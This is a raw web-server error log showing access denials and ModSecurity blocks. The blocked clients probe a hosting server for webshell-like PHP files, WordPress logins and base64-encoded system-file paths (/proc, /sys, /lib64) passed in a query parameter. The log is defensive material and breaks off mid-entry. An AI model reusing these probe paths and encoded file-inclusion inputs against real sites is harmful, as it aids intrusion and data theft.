https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:09:30.710843 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:09:30.749776 2026] [security2:error] [pid 531797:tid 532067] [client 20.151.217.54:48586] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/Cap.php"] [unique_id "ai3xOsTA7b1mZrmcA-8bUQAAAlk"] [Sat Jun 13 18:09:30.822873 2026] [access_compat:error] [pid 531797:tid 531942] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L25ldA== [Sat Jun 13 18:09:30.823127 2026] [access_compat:error] [pid 531797:tid 531942] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L25ldA== [Sat Jun 13 18:09:31.028640 2026] [security2:error] [pid 531797:tid 532030] [client 216.73.216.57:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 57.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/sprintf_variation6.phpt"] [unique_id "ai3xO8TA7b1mZrmcA-8bWQAAAjU"] [Sat Jun 13 18:09:31.224368 2026] [access_compat:error] [pid 531797:tid 531897] [remote 57.141.14.71:36448] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:31.224814 2026] [access_compat:error] [pid 531797:tid 531897] [remote 57.141.14.71:36448] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:31.232660 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:09:31.232960 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:09:31.287643 2026] [access_compat:error] [pid 531155:tid 531211] [remote 216.73.216.182:44946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:31.288069 2026] [access_compat:error] [pid 531155:tid 531211] [remote 216.73.216.182:44946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:31.288849 2026] [access_compat:error] [pid 531155:tid 531179] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2F0dHI= [Sat Jun 13 18:09:31.289239 2026] [security2:error] [pid 531797:tid 531912] [remote 185.68.18.52:23970] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.18.68.185.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "helenloo.com"] [uri "/wp-login.php"] [unique_id "ai3xO8TA7b1mZrmcA-8bXQACFzA"] [Sat Jun 13 18:09:31.289289 2026] [access_compat:error] [pid 531155:tid 531179] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2F0dHI= [Sat Jun 13 18:09:31.351606 2026] [access_compat:error] [pid 531797:tid 531928] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:31.352007 2026] [access_compat:error] [pid 531797:tid 531928] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:31.646046 2026] [security2:error] [pid 531797:tid 532016] [client 20.151.217.54:65240] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/samll.php"] [unique_id "ai3xO8TA7b1mZrmcA-8bZQAAAig"] [Sat Jun 13 18:09:31.678704 2026] [security2:error] [pid 531797:tid 531974] [remote 17.22.245.235:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xO8TA7b1mZrmcA-8bZwACkG0"] [Sat Jun 13 18:09:31.699779 2026] [security2:error] [pid 531155:tid 531386] [client 191.234.188.123:38888] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/uploads/index.php"] [unique_id "ai3xOymiP80klyS0NnryhwAAAW8"] [Sat Jun 13 18:09:31.799199 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:31.799499 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:31.839627 2026] [access_compat:error] [pid 531797:tid 531971] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:31.840051 2026] [access_compat:error] [pid 531797:tid 531971] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:31.898875 2026] [access_compat:error] [pid 531797:tid 531943] [remote 57.141.14.39:26374] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:31.899150 2026] [access_compat:error] [pid 531797:tid 531943] [remote 57.141.14.39:26374] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:31.904578 2026] [security2:error] [pid 531797:tid 532042] [client 191.234.188.123:47987] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/mac.php"] [unique_id "ai3xO8TA7b1mZrmcA-8bbgAAAkE"] [Sat Jun 13 18:09:31.962092 2026] [access_compat:error] [pid 531797:tid 531916] [remote 57.141.14.42:51548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:31.962375 2026] [access_compat:error] [pid 531797:tid 531916] [remote 57.141.14.42:51548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:31.999851 2026] [access_compat:error] [pid 531797:tid 531967] [remote 57.141.14.38:56249] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:32.000300 2026] [access_compat:error] [pid 531797:tid 531967] [remote 57.141.14.38:56249] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:32.169548 2026] [security2:error] [pid 531155:tid 531405] [client 191.234.188.123:35654] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/fs9.php"] [unique_id "ai3xPCmiP80klyS0NnrylwAAAYI"] [Sat Jun 13 18:09:32.280251 2026] [access_compat:error] [pid 531797:tid 531989] [remote 57.141.14.13:29851] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:32.280698 2026] [access_compat:error] [pid 531797:tid 531989] [remote 57.141.14.13:29851] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:32.283170 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL2V2ZW50NS9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:32.283628 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL2V2ZW50NS9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:32.307131 2026] [access_compat:error] [pid 531797:tid 531959] [remote 57.141.14.39:26390] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:32.307564 2026] [access_compat:error] [pid 531797:tid 531959] [remote 57.141.14.39:26390] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:32.382583 2026] [access_compat:error] [pid 531797:tid 531906] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:32.382849 2026] [access_compat:error] [pid 531797:tid 531906] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:32.632821 2026] [access_compat:error] [pid 531155:tid 531183] [remote 57.141.14.14:37638] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:32.633275 2026] [access_compat:error] [pid 531155:tid 531183] [remote 57.141.14.14:37638] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:32.713569 2026] [security2:error] [pid 531797:tid 531976] [remote 17.246.19.181:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 181.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xPMTA7b1mZrmcA-8bggACIm8"] [Sat Jun 13 18:09:32.729952 2026] [security2:error] [pid 531797:tid 531954] [remote 17.22.245.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xPMTA7b1mZrmcA-8bhQACjVo"] [Sat Jun 13 18:09:32.846398 2026] [access_compat:error] [pid 531797:tid 531911] [remote 57.141.14.63:61170] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:32.846711 2026] [access_compat:error] [pid 531797:tid 531911] [remote 57.141.14.63:61170] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:32.874724 2026] [security2:error] [pid 531797:tid 532099] [client 191.234.188.123:30840] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/filemanager.php"] [unique_id "ai3xPMTA7b1mZrmcA-8bkQAAAng"] [Sat Jun 13 18:09:32.885962 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:09:32.886410 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:09:32.913624 2026] [access_compat:error] [pid 531797:tid 531978] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:32.914062 2026] [access_compat:error] [pid 531797:tid 531978] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:33.324434 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:33.324863 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:33.327219 2026] [security2:error] [pid 531155:tid 531202] [remote 17.241.227.55:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 55.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xPSmiP80klyS0NnrytwABPy4"] [Sat Jun 13 18:09:33.373424 2026] [security2:error] [pid 531797:tid 532096] [client 191.234.188.123:64588] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/ftde.php"] [unique_id "ai3xPcTA7b1mZrmcA-8bpAAAAnU"] [Sat Jun 13 18:09:33.405939 2026] [access_compat:error] [pid 531797:tid 531968] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:33.406395 2026] [access_compat:error] [pid 531797:tid 531968] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:33.466030 2026] [access_compat:error] [pid 531797:tid 531900] [remote 57.141.14.100:51253] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:33.466525 2026] [access_compat:error] [pid 531797:tid 531900] [remote 57.141.14.100:51253] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:33.541454 2026] [lsapi:warn] [pid 531155:tid 531289] [client 38.191.51.44:17176] [host kshar.net] Backend log: PHP Warning: Use of undefined constant user_level - assumed 'user_level' (this will throw an Error in a future version of PHP) in /home2/yourkat1/public_html/kshar/wp-content/plugins/ultimate-google-analytics/ultimate_ga.php on line 524\n [Sat Jun 13 18:09:33.599270 2026] [security2:error] [pid 531797:tid 531865] [remote 17.22.253.5:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 